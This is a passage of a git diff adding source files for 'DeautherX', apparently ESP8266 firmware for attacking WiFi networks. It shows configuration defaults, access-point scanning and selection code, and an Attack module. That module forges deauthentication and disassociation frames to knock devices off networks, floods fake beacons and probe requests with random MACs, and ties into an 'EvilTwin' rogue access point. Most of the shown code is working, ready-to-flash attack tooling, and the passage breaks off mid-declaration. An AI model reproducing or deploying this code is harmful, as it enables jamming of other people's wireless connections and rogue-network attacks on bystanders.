ifndef LED_ANODE */ + +#ifndef LED_MODE_OFF + #define LED_MODE_OFF 0, 0, 0 +#endif /* ifndef LED_MODE_OFF */ + +#ifndef LED_MODE_SCAN + #define LED_MODE_SCAN 0, 0, 255 +#endif /* ifndef LED_MODE_SCAN */ + +#ifndef LED_MODE_ATTACK + #define LED_MODE_ATTACK 255, 0, 0 +#endif /* ifndef LED_MODE_ATTACK */ + +#ifndef LED_MODE_IDLE + #define LED_MODE_IDLE 0, 255, 0 +#endif /* ifndef LED_MODE_IDLE */ + +#ifndef LED_MODE_BRIGHTNESS + #define LED_MODE_BRIGHTNESS 10 +#endif /* ifndef LED_MODE_BRIGHTNESS */ + +// =============== DISPLAY =============== // + +#ifndef DISPLAY_TIMEOUT + #define DISPLAY_TIMEOUT 1000 +#endif /* ifndef DISPLAY_TIMEOUT */ + +#ifndef DISPLAY_TEXT + #define DISPLAY_TEXT "" +#endif /* ifndef DISPLAY_TEXT */ + +#ifndef FLIP_DIPLAY + #define FLIP_DIPLAY false +#endif /* ifndef FLIP_DIPLAY */ + +#if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI) + #define SSD1306_I2C + #define USE_DISPLAY false +#else /* if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI) */ + #define USE_DISPLAY true +#endif /* if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI) */ + +#ifndef I2C_ADDR + #define I2C_ADDR 0x3C +#endif /* ifndef I2C_ADDR */ + +#ifndef I2C_SDA + #define I2C_SDA 5 +#endif /* ifndef I2C_SDA */ + +#ifndef I2C_SCL + #define I2C_SCL 4 +#endif /* ifndef I2C_SCL */ + +#ifndef SPI_RES + #define SPI_RES 5 +#endif /* ifndef SPI_RES */ + +#ifndef SPI_DC + #define SPI_DC 4 +#endif /* ifndef SPI_DC */ + +#ifndef SPI_CS + #define SPI_CS 15 +#endif /* ifndef SPI_CS */ + +// =============== BUTTONS =============== // +#ifndef BUTTON_UP + #define BUTTON_UP 255 +#endif // ifndef BUTTON_UP + +#ifndef BUTTON_DOWN + #define BUTTON_DOWN 255 +#endif // ifndef BUTTON_DOWN + +#ifndef BUTTON_A + #define BUTTON_A 255 +#endif // ifndef BUTTON_A + +#ifndef BUTTON_B + #define BUTTON_B 255 +#endif // ifndef BUTTON_B + +// ===== Reset ====== // +#ifndef RESET_BUTTON + #if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0 + #define RESET_BUTTON 0 + #else // if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0 + #define RESET_BUTTON 255 + #endif // if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0 +#endif // ifndef RESET_BUTTON + +// ===== Web ===== // +#ifndef WEB_IP_ADDR + #define WEB_IP_ADDR (192, 168, 4, 1) +#endif // ifndef WEB_IP_ADDR + +#ifndef WEB_URL + #define WEB_URL "DeautherX.local" +#endif // ifndef WEB_URL + +// ======== CONSTANTS ========== // +// Do not change these values unless you know what you're doing! +#define DEAUTHER_VERSION "1.8" +#define DEAUTHER_VERSION_MAJOR 2 +#define DEAUTHER_VERSION_MINOR 6 +#define DEAUTHER_VERSION_REVISION 1 + +#define EEPROM_SIZE 4095 +#define BOOT_COUNTER_ADDR 1 +#define SETTINGS_ADDR 100 + +// ======== AVAILABLE SETTINGS ========== // + + +/* + // ===== ATTACK ===== // + #define ATTACK_ALL_CH false + #define RANDOM_TX false + #define ATTACK_TIMEOUT 600 + #define DEAUTHS_PER_TARGET 25 + #define DEAUTH_REASON 1 + #define BEACON_INTERVAL_100MS true + #define PROBE_FRAMES_PER_SSID 1 + + // ====== SNIFFER ====== // + #define CH_TIME 200 + #define MIN_DEAUTH_FRAMES 3 + + // ===== ACCESS POINT ===== // + #define AP_SSID "pwned" + #define AP_PASSWD "deauther" + #define AP_HIDDEN false + #define AP_IP_ADDR {192, 168, 4, 1} + + // ===== WEB INTERFACE ===== // + #define WEB_ENABLED true + #define WEB_CAPTIVE_PORTAL false + #define WEB_USE_SPIFFS false + #define DEFAULT_LANG "en" + + // ===== CLI ===== // + #define CLI_ENABLED true + #define CLI_ECHO true + + // ===== LED ===== // + #define USE_LED true + #define LED_DIGITAL + #define LED_RGB + #define LED_NEOPIXEL + #define LED_MY92 + + #define LED_ANODE false + + #define LED_PIN_R 16 + #define LED_PIN_G 255 + #define LED_PIN_B 2 + + #define LED_NEOPIXEL_RGB + #define LED_NEOPIXEL_GRB + + #define LED_NUM 1 + #define LED_NEOPIXEL_PIN 255 + + #define LED_MODE_OFF 0,0,0 + #define LED_MODE_SCAN 0,0,255 + #define LED_MODE_ATTACK 255,0,0 + #define LED_MODE_IDLE 0,255,0 + #define LED_MODE_BRIGHTNESS 10 + + #define LED_NUM 1 + #define LED_MY92_DATA 4 + #define LED_MY92_CLK 5 + #define LED_MY92_CH_R 0 + #define LED_MY92_CH_G 1 + #define LED_MY92_CH_B 2 + #define LED_MY92_CH_BRIGHTNESS 3 + #define LED_MY92_MODEL MY92XX_MODEL_MY9291 + #define LED_MY92_MODEL MY92XX_MODEL_MY9231 + + #define LED_DOTSTAR + #define LED_NUM 1 + #define LED_DOTSTAR_CLK 12 + #define LED_DOTSTAR_DATA 13 + + // ===== DISPLAY ===== // + #define USE_DISPLAY false + #define DISPLAY_TIMEOUT 600 + #define FLIP_DIPLAY false + + #define SSD1306_I2C + #define SSD1306_SPI + #define SH1106_I2C + #define SH1106_SPI + + #define I2C_ADDR 0x3C + #define I2C_SDA 5 + #define I2C_SCL 4 + + #define SPI_RES 5 + #define SPI_DC 4 + #define SPI_CS 15 + + // ===== BUTTONS ===== // + #define BUTTON_UP 255 + #define BUTTON_DOWN 255 + #define BUTTON_A 255 + #define BUTTON_B 255 + + // ===== Reset ====== // + #define RESET_BUTTON 5 + + + // ===== Web ===== // + #define WEB_IP_ADDR (192, 168, 4, 1) + #define WEB_URL "deauth.me" + + */ + + +// ========== ERROR CHECKS ========== // +#if LED_MODE_BRIGHTNESS == 0 +#error LED_MODE_BRIGHTNESS must not be zero! +#endif /* if LED_MODE_BRIGHTNESS == 0 */ diff --git a/DeautherX/Accesspoints.cpp b/DeautherX/Accesspoints.cpp new file mode 100644 index 0000000..27aa216 --- /dev/null +++ b/DeautherX/Accesspoints.cpp @@ -0,0 +1,314 @@ +/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */ + +#include "Accesspoints.h" + +Accesspoints::Accesspoints() { + list = new SimpleList; +} + +void Accesspoints::sort() { + list->setCompare([](AP& a, AP& b) -> int { + if (WiFi.RSSI(a.id) > WiFi.RSSI(b.id)) return -1; + + if (WiFi.RSSI(a.id) == WiFi.RSSI(b.id)) return 0; + + return 1; + }); + list->sort(); + changed = true; +} + +void Accesspoints::sortAfterChannel() { + list->setCompare([](AP& a, AP& b) -> int { + if (WiFi.channel(a.id) < WiFi.channel(b.id)) return -1; + + if (WiFi.channel(a.id) == WiFi.channel(b.id)) return 0; + + return 1; + }); + list->sort(); + changed = true; +} + +void Accesspoints::add(uint8_t id, bool selected) { + list->add(AP{ id, selected }); + changed = true; +} + +void Accesspoints::printAll() { + prntln(AP_HEADER); + int c = count(); + + if (c == 0) prntln(AP_LIST_EMPTY); + else + for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1); +} + +void Accesspoints::printSelected() { + prntln(AP_HEADER); + int max = selected(); + + if (selected() == 0) { + prntln(AP_NO_AP_SELECTED); + return; + } + int c = count(); + int j = 0; + + for (int i = 0; i < c && j < max; i++) { + if (getSelected(i)) { + print(i, j == 0, j == max - 1); + j++; + } + } +} + +void Accesspoints::print(int num) { + print(num, true, true); +} + +void Accesspoints::print(int num, bool header, bool footer) { + if (!check(num)) return; + + if (header) { + prntln(AP_TABLE_HEADER); + prntln(AP_TABLE_DIVIDER); + } + prnt(leftRight(String(), (String)num, 2)); + prnt(leftRight(String(SPACE) + getSSID(num), String(), 33)); + prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17)); + prnt(leftRight(String(SPACE), (String)getCh(num), 3)); + prnt(leftRight(String(SPACE), (String)getRSSI(num), 5)); + prnt(leftRight(String(SPACE), getEncStr(num), 5)); + prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18)); + prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9)); + prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9)); + + if (footer) { + prntln(AP_TABLE_DIVIDER); + } +} + +String Accesspoints::getSSID(int num) { + if (!check(num)) return String(); + + if (getHidden(num)) { + return str(AP_HIDDE_SSID); + } else { + String ssid = WiFi.SSID(getID(num)); + ssid = ssid.substring(0, 32); + ssid = fixUtf8(ssid); + return ssid; + } +} + +String Accesspoints::getNameStr(int num) { + if (!check(num)) return String(); + + return names.find(getMac(num)); +} + +uint8_t Accesspoints::getCh(int num) { + if (!check(num)) return 0; + + return WiFi.channel(getID(num)); +} + +int Accesspoints::getRSSI(int num) { + if (!check(num)) return 0; + + return WiFi.RSSI(getID(num)); +} + +uint8_t Accesspoints::getEnc(int num) { + if (!check(num)) return 0; + + return WiFi.encryptionType(getID(num)); +} + +String Accesspoints::getEncStr(int num) { + if (!check(num)) return String(); + + switch (getEnc(num)) { + case ENC_TYPE_NONE: + return String(DASH); + + break; + + case ENC_TYPE_WEP: + return str(AP_WEP); + + break; + + case ENC_TYPE_TKIP: + return str(AP_WPA); + + break; + + case ENC_TYPE_CCMP: + return str(AP_WPA2); + + break; + + case ENC_TYPE_AUTO: + return str(AP_AUTO); + + break; + } + return String(QUESTIONMARK); +} + +String Accesspoints::getSelectedStr(int num) { + return b2a(getSelected(num)); +} + +uint8_t* Accesspoints::getMac(int num) { + if (!check(num)) return 0; + + return WiFi.BSSID(getID(num)); +} + +String Accesspoints::getMacStr(int num) { + if (!check(num)) return String(); + + uint8_t* mac = getMac(num); + + return bytesToStr(mac, 6); +} + +String Accesspoints::getVendorStr(int num) { + if (!check(num)) return String(); + + return searchVendor(getMac(num)); +} + +bool Accesspoints::getHidden(int num) { + if (!check(num)) return false; + + return WiFi.isHidden(getID(num)); +} + +bool Accesspoints::getSelected(int num) { + if (!check(num)) return false; + + return list->get(num).selected; +} + +uint8_t Accesspoints::getID(int num) { + if (!check(num)) return -1; + + return list->get(num).id; +} + +void Accesspoints::select(int num) { + if (!check(num)) return; + + internal_select(num); + + prnt(AP_SELECTED); + prntln(getSSID(num)); + + changed = true; +} + +void Accesspoints::deselect(int num) { + if (!check(num)) return; + + internal_deselect(num); + + prnt(AP_DESELECTED); + prntln(getSSID(num)); + + changed = true; +} + +void Accesspoints::remove(int num) { + if (!check(num)) return; + + prnt(AP_REMOVED); + prntln(getSSID(num)); + + internal_remove(num); + + changed = true; +} + +void Accesspoints::select(String ssid) { + for (int i = 0; i < list->size(); i++) { + if (getSSID(i).equalsIgnoreCase(ssid)) select(i); + } +} + +void Accesspoints::deselect(String ssid) { + for (int i = 0; i < list->size(); i++) { + if (getSSID(i).equalsIgnoreCase(ssid)) deselect(i); + } +} + +void Accesspoints::remove(String ssid) { + for (int i = 0; i < list->size(); i++) { + if (getSSID(i).equalsIgnoreCase(ssid)) remove(i); + } +} + +void Accesspoints::selectAll() { + for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, true }); + prntln(AP_SELECTED_ALL); + changed = true; +} + +void Accesspoints::deselectAll() { + for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, false }); + prntln(AP_DESELECTED_ALL); + changed = true; +} + +void Accesspoints::removeAll() { + while (count() > 0) internal_remove(0); + prntln(AP_REMOVED_ALL); + changed = true; +} + +int Accesspoints::find(uint8_t id) { + int s = list->size(); + + for (int i = 0; i < s; i++) { + if (list->get(i).id == id) return i; + } + return -1; +} + +int Accesspoints::count() { + return list->size(); +} + +int Accesspoints::selected() { + int c = 0; + + for (int i = 0; i < list->size(); i++) c += list->get(i).selected; + return c; +} + +bool Accesspoints::check(int num) { + if (internal_check(num)) return true; + + prnt(AP_NO_AP_ERROR); + prntln((String)num); + return false; +} + +bool Accesspoints::internal_check(int num) { + return num >= 0 && num < count(); +} + +void Accesspoints::internal_select(int num) { + list->replace(num, AP{ list->get(num).id, true }); +} + +void Accesspoints::internal_deselect(int num) { + list->replace(num, AP{ list->get(num).id, false }); +} + +void Accesspoints::internal_remove(int num) { + list->remove(num); +} \ No newline at end of file diff --git a/DeautherX/Accesspoints.h b/DeautherX/Accesspoints.h new file mode 100644 index 0000000..eae67e6 --- /dev/null +++ b/DeautherX/Accesspoints.h @@ -0,0 +1,80 @@ +/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */ + +#pragma once + +#include "Arduino.h" +#include +extern "C" { + #include "user_interface.h" +} +#include "language.h" +#include "SimpleList.h" +#include "Names.h" + +extern Names names; + +extern String searchVendor(uint8_t* mac); +extern String leftRight(String a, String b, int len); +extern String fixUtf8(String str); +extern String bytesToStr(const uint8_t* b, uint32_t size); + +struct AP { + uint8_t id; + bool selected; +}; + +class Accesspoints { + public: + Accesspoints(); + + void sort(); + void sortAfterChannel(); + + void add(uint8_t id, bool selected); + + void print(int num); + void print(int num, bool header, bool footer); + + void select(int num); + void deselect(int num); + void remove(int num); + void select(String ssid); + void deselect(String ssid); + void remove(String ssid); + + void printAll(); + void printSelected(); + void selectAll(); + void deselectAll(); + void removeAll(); + + String getSSID(int num); + String getNameStr(int num); + String getEncStr(int num); + String getMacStr(int num); + String getVendorStr(int num); + String getSelectedStr(int num); + uint8_t getCh(int num); + uint8_t getEnc(int num); + uint8_t getID(int num); + int getRSSI(int num); + uint8_t* getMac(int num); + bool getHidden(int num); + bool getSelected(int num); + + int find(uint8_t id); + + int count(); + int selected(); + + bool check(int num); + bool changed = false; + + private: + SimpleList* list; + + bool internal_check(int num); + void internal_select(int num); + void internal_deselect(int num); + void internal_remove(int num); +}; \ No newline at end of file diff --git a/DeautherX/Attack.cpp b/DeautherX/Attack.cpp new file mode 100644 index 0000000..c51755e --- /dev/null +++ b/DeautherX/Attack.cpp @@ -0,0 +1,479 @@ +/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */ + +#include "Attack.h" + +#include "settings.h" + +#include "EvilTwin.h" + +Attack::Attack() { + getRandomMac(mac); + + if (settings::getAttackSettings().beacon_interval == INTERVAL_1S) { + // 1s beacon interval + beaconPacket[32] = 0xe8; + beaconPacket[33] = 0x03; + } else { + // 100ms beacon interval + beaconPacket[32] = 0x64; + beaconPacket[33] = 0x00; + } + + deauth.time = currentTime; + beacon.time = currentTime; + probe.time = currentTime; +} + +void Attack::start() { + stop(); + prntln(A_START); + attackTime = currentTime; + attackStartTime = currentTime; + accesspoints.sortAfterChannel(); + stations.sortAfterChannel(); + running = true; +} + +void Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout) { + Attack::beacon.active = beacon; + Attack::deauth.active = deauth || deauthAll; + Attack::deauthAll = deauthAll; + Attack::probe.active = probe; + + Attack::output = output; + Attack::timeout = timeout; + + // if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth && + // scan.countSelected() > 0)){ + if (beacon || probe || deauthAll || deauth || !EvilTwin::isRunning()) { + start(); + } else { + prntln(A_NO_MODE_ERROR); + EvilTwin::stop(); + accesspoints.sort(); + stations.sort(); + stop(); + } +} + +void Attack::stop() { + if (running) { + running = false; + deauthPkts = 0; + beaconPkts = 0; + probePkts = 0; + deauth.packetCounter = 0; + beacon.packetCounter = 0; + probe.packetCounter = 0; + deauth.maxPkts = 0; + beacon.maxPkts = 0; + probe.maxPkts = 0; + packetRate = 0; + deauth.tc = 0; + beacon.tc = 0; + probe.tc = 0; + deauth.active = false; + beacon.active = false; + probe.active = false; + prntln(A_STOP); + } +} + +bool Attack::isRunning() { + return running; +} + +void Attack::updateCounter() { + // stop when timeout is active and time is up + if ((timeout > 0) && (currentTime - attackStartTime >= timeout)) { + prntln(A_TIMEOUT); + stop(); + return; + } + + // deauth packets per second + if (deauth.active) { + if (deauthAll) deauth.maxPkts = settings::getAttackSettings().deauths_per_target * + (accesspoints.count() + stations.count() * 2 - names.selected()); + else deauth.maxPkts = settings::getAttackSettings().deauths_per_target * + (accesspoints.selected() + stations.selected() * 2 + names.selected() + names.stations()); + } else { + deauth.maxPkts = 0; + } + + // beacon packets per second + if (beacon.active) { + beacon.maxPkts = ssids.count(); + + if (settings::getAttackSettings().beacon_interval == INTERVAL_100MS) beacon.maxPkts *= 10; + } else { + beacon.maxPkts = 0; + } + + // probe packets per second + if (probe.active) probe.maxPkts = ssids.count() * settings::getAttackSettings().probe_frames_per_ssid; + else probe.maxPkts = 0; + + // random transmission power + if (settings::getAttackSettings().random_tx && (beacon.active || probe.active)) setOutputPower(random(21)); + else setOutputPower(20.5f); + + // reset counters + deauthPkts = deauth.packetCounter; + beaconPkts = beacon.packetCounter; + probePkts = probe.packetCounter; + packetRate = tmpPacketRate; + deauth.packetCounter = 0; + beacon.packetCounter = 0; + probe.packetCounter = 0; + deauth.tc = 0; + beacon.tc = 0; + probe.tc = 0; + tmpPacketRate = 0; +} + +void Attack::status() { + char s[120]; + + sprintf(s, str( + A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts, + probe.maxPkts); + prnt(String(s)); +} + +String Attack::getStatusJSON() { + String json = String(OPEN_BRACKET); // [ + + json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) + + String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], + json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String( + beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], + json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String( + probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], + json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countAll()) + String(COMMA) + + String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], + json += String(OPEN_BRACKET) + b2s(EvilTwin::isRunning()) + String(COMMA) + String(DOUBLEQUOTES) + String( + scan.getEndSSID()) + String(DOUBLEQUOTES) + String(CLOSE_BRACKET) + String(COMMA); // [false,"SSID"], + json += String(packetRate); // 0 + json += CLOSE_BRACKET; // ] + return json; +} + +void Attack::update() { + if (!running || scan.isScanning()) return; + + apCount = accesspoints.count(); + stCount = stations.count(); + nCount = names.count(); + + // run/update all attacks + deauthUpdate(); + deauthAllUpdate(); + beaconUpdate(); + probeUpdate(); + + // each second + if (currentTime - attackTime > 1000) { + attackTime = currentTime; // update time + updateCounter(); + + if (output) status(); // status update + getRandomMac(mac); // generate new random mac + } +} + +void Attack::deauthUpdate() { + if (!deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) { + if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) { + // APs + if ((apCount > 0) && (deauth.tc < apCount)) { + if (accesspoints.getSelected(deauth.tc)) { + deauth.tc += deauthAP(deauth.tc); + } else deauth.tc++; + } + + // Stations + else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) { + if (stations.getSelected(deauth.tc - apCount)) { + deauth.tc += deauthStation(deauth.tc - apCount); + } else deauth.tc++; + } + + // Names + else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < nCount + stCount + apCount)) { + if (names.getSelected(deauth.tc - stCount - apCount)) { + deauth.tc += deauthName(deauth.tc - stCount - apCount); + } else deauth.tc++; + } + + // reset counter + if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0; + } + } +} + +void Attack::deauthAllUpdate() { + if (deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) { + if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) { + // APs + if ((apCount > 0) && (deauth.tc < apCount)) { + tmpID = names.findID(accesspoints.getMac(deauth.tc)); + + if (tmpID < 0) { + deauth.tc += deauthAP(deauth.tc); + } else if (!names.getSelected(tmpID)) { + deauth.tc += deauthAP(deauth.tc); + } else deauth.tc++; + } + + // Stations + else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) { + tmpID = names.findID(stations.getMac(deauth.tc - apCount)); + + if (tmpID < 0) { + deauth.tc += deauthStation(deauth.tc - apCount); + } else if (!names.getSelected(tmpID)) { + deauth.tc += deauthStation(deauth.tc - apCount); + } else deauth.tc++; + } + + // Names + else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < apCount + stCount + nCount)) { + if (!names.getSelected(deauth.tc - apCount - stCount)) { + deauth.tc += deauthName(deauth.tc - apCount - stCount); + } else deauth.tc++; + } + + // reset counter + if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0; + } + } +} + +void Attack::probeUpdate() { + if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) { + if (probe.time <= currentTime - (1000 / probe.maxPkts)) { + if (settings::getAttackSettings().attack_all_ch) setWifiChannel(probe.tc % 11, true); + probe.tc += sendProbe(probe.tc); + + if (probe.tc >= ssids.count()) probe.tc = 0; + } + } +} + +void Attack::beaconUpdate() { + if (beacon.active && (beacon.maxPkts > 0) && (beacon.packetCounter < beacon.maxPkts)) { + if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) { + beacon.tc += sendBeacon(beacon.tc); + + if (beacon.tc >= ssids.count()) beacon.tc = 0; + } + } +} + +bool Attack::deauthStation(int num) { + return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings::getAttackSettings().deauth_reason, stations.getCh(num)); +} + +bool Attack::deauthAP(int num) { + return deauthDevice(accesspoints.getMac(num), broadcast, settings::getAttackSettings().deauth_reason, accesspoints.getCh(num)); +} + +bool Attack::deauthName(int num) { + if (names.isStation(num)) { + return deauthDevice(names.getBssid(num), names.getMac(num), settings::getAttackSettings().deauth_reason, names.getCh(num)); + } else { + return deauthDevice(names.getMac(num), broadcast, settings::getAttackSettings().deauth_reason, names.getCh(num)); + } +} + +bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) { + if (!stMac) return false; // exit when station mac is null + + // Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging + + bool success = false; + + // build deauth packet + packetSize = sizeof(deauthPacket); + + uint8_t deauthpkt[packetSize]; + + memcpy(deauthpkt, deauthPacket, packetSize); + + memcpy(&deauthpkt[4], stMac, 6); + memcpy(&deauthpkt[10], apMac, 6); + memcpy(&deauthpkt[16], apMac, 6); + deauthpkt[24] = reason; + + // send deauth frame + deauthpkt[0] = 0xc0; + + if (sendPacket(deauthpkt, packetSize, ch, true)) { + success = true; + deauth.packetCounter++; + } + + // send disassociate frame + uint8_t disassocpkt[packetSize]; + + memcpy(disassocpkt, deauthpkt, packetSize); + + disassocpkt[0] = 0xa0; + + if (sendPacket(disassocpkt, packetSize, ch, false)) { + success = true; + deauth.packetCounter++; + } + + // send another packet, this time from the station to the accesspoint + if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast + // build deauth packet + memcpy(&disassocpkt[4], apMac, 6); + memcpy(&disassocpkt[10], stMac, 6); + memcpy(&disassocpkt[16], stMac, 6); + + // send deauth frame + disassocpkt[0] = 0xc0; + + if (sendPacket(disassocpkt, packetSize, ch, false)) { + success = true; + deauth.packetCounter++; + } + + // send disassociate frame + disassocpkt[0] = 0xa0; + + if (sendPacket(disassocpkt, packetSize, ch, false)) { + success = true; + deauth.packetCounter++; + } + } + + if (success) deauth.time = currentTime; + + return success; +} + +bool Attack::sendBeacon(uint8_t tc) { + if (settings::getAttackSettings().attack_all_ch) setWifiChannel(tc % 11, true); + mac[5] = tc; + return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc)); +} + +bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) { + packetSize = sizeof(beaconPacket); + + if (wpa2) { + beaconPacket[34] = 0x31; + } else { + beaconPacket[34] = 0x21; + packetSize -= 26; + } + + int ssidLen = strlen(ssid); + + if (ssidLen > 32) ssidLen = 32; + + memcpy(&beaconPacket[10], mac, 6); + memcpy(&beaconPacket[16], mac, 6); + memcpy(&beaconPacket[38], ssid, ssidLen); + + beaconPacket[82] = ch; + + // ===== + uint16_t tmpPacketSize = (packetSize - 32) + ssidLen; // calc size + uint8_t* tmpPacket = new uint8_t[tmpPacketSize]; // create packet buffer + + memcpy(&tmpPacket[0], &beaconPacket[0], 38 + ssidLen); // copy first half of packet into buffer + tmpPacket[37] = ssidLen; // update SSID length byte + memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer + + bool success = sendPacket(tmpPacket, tmpPacketSize, ch, false); + + if (success) { + beacon.time = currentTime; + beacon.packetCounter++; + } + + delete[] tmpPacket; // free memory of allocated buffer + + return success; + // ===== +} + +bool Attack::sendProbe(uint8_t tc) { + if (settings::getAttackSettings().attack_all_ch) setWifiChannel(tc % 11, true); + mac[5] = tc; + return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel); +} + +bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) { + packetSize = sizeof(probePacket); + int ssidLen = strlen(ssid); + + if (ssidLen > 32) ssidLen = 32; + + memcpy(&probePacket[10], mac, 6); + memcpy(&probePacket[26], ssid, ssidLen); + + if (sendPacket(probePacket, packetSize, ch, false)) { + probe.time = currentTime; + probe.packetCounter++; + return true; + } + + return false; +} + +bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, bool force_ch) { + // Serial.println(bytesToStr(packet, packetSize)); + + // set channel + setWifiChannel(ch, force_ch); + + // sent out packet + bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0; + + if (sent) ++tmpPacketRate; + + return sent; +} + +void Attack::enableOutput() { + output = true; + prntln(A_ENABLED_OUTPUT); +} + +void Attack::disableOutput() { + output = false; + prntln(A_DISABLED_OUTPUT); +} + +uint32_t Attack::getDeauthPkts() { + return deauthPkts; +} + +uint32_t Attack::getBeaconPkts() { + return beaconPkts; +} + +uint32_t Attack::getProbePkts() { + return probePkts; +} + +uint32_t Attack::getDeauthMaxPkts() { + return deauth.maxPkts; +} + +uint32_t Attack::getBeaconMaxPkts() { + return beacon.maxPkts; +} + +uint32_t Attack::getProbeMaxPkts() { + return probe.maxPkts; +} + +uint32_t Attack::getPacketRate() { + return packetRate; +} \ No newline at end of file diff --git a/DeautherX/Attack.h b/DeautherX/Attack.h new file mode 100644 index 0000000..e4ea67c --- /dev/null +++ b/DeautherX/Attack.h @@ -0,0 +1,204 @@ +/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */ + +#pragma once + +#include "Arduino.h" +#include +extern "C" { + #include "user_interface.h" +} +#include "language.h" +#include "Accesspoints.h" +#include "Stations.h" +#include "SSIDs.h" +#include "Scan.h" + +extern SSIDs ssids; +extern Accesspoints accesspoints; +extern Stations stations; +extern Scan scan; + +extern uint8_t wifi_channel; +extern uint8_t broadcast[6]; +extern uint32_t currentTime; + +extern bool macBroadcast(uint8_t* mac); +extern void getRandomMac(uint8_t* mac); +extern void setOutputPower(float dBm); +extern String macToStr(const uint8_t* mac); +extern String bytesToStr(const uint8_t* b, uint32_t size); +extern void setWifiChannel(uint8_t ch, bool force); +extern bool writeFile(String path, String& buf); +extern int8_t free80211_send(uint8_t* buffer, uint16_t len); + +class Attack { + public: + Attack(); + + void start(); + void start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout); + void stop(); + void update(); + + void enableOutput(); + void disableOutput(); + void status(); + String getStatusJSON(); + + bool deauthAP(int num); + bool deauthStation(int num); + bool deauthName(int num); + bool deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch); + + bool sendBeacon(uint8_t tc); + bool sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2); + + bool sendProbe(uint8_t tc); + bool sendProbe(uint8_t* mac, const char* ssid, uint8_t ch); + + bool sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, bool force_ch); + + bool isRunning(); + + uint32_t getDeauthPkts(); + uint32_t getBeaconPkts(); + uint32_t getProbePkts(); + uint32_t getDeauthMaxPkts(); + uint32_t getBeaconMaxPkts(); + uint32_t getProbeMaxPkts(); + + uint32_t getPacketRate(); + + private: + void deauthUpdate(); + void deauthAllUpdate(); + void beaconUpdate(); + void probeUpdate(); + + void updateCounter(); + + bool running = false; + bool output = true; + + struct AttackType { + bool active = false; // if attack is activated + uint16_t packetCounter = 0; // how many packets are sent per second + uint16_t maxPkts = 0; // how many packets should be sent per second + uint8_t tc = 0; // target counter, i.e. which AP or SSID + uint32_t time = 0; // time last packet was sent + }; + + AttackType deauth; + AttackType beacon; + AttackType probe; + bool deauthAll = false; + + uint32_t deauthPkts = 0; + uint32_t beaconPkts = 0; + uint32_t probePkts = 0; + + uint32_t tmpPacketRate = 0; + uint32_t packetRate = 0; + + uint8_t apCount = 0; + uint8_t stCount = 0; + uint8_t nCount = 0; + 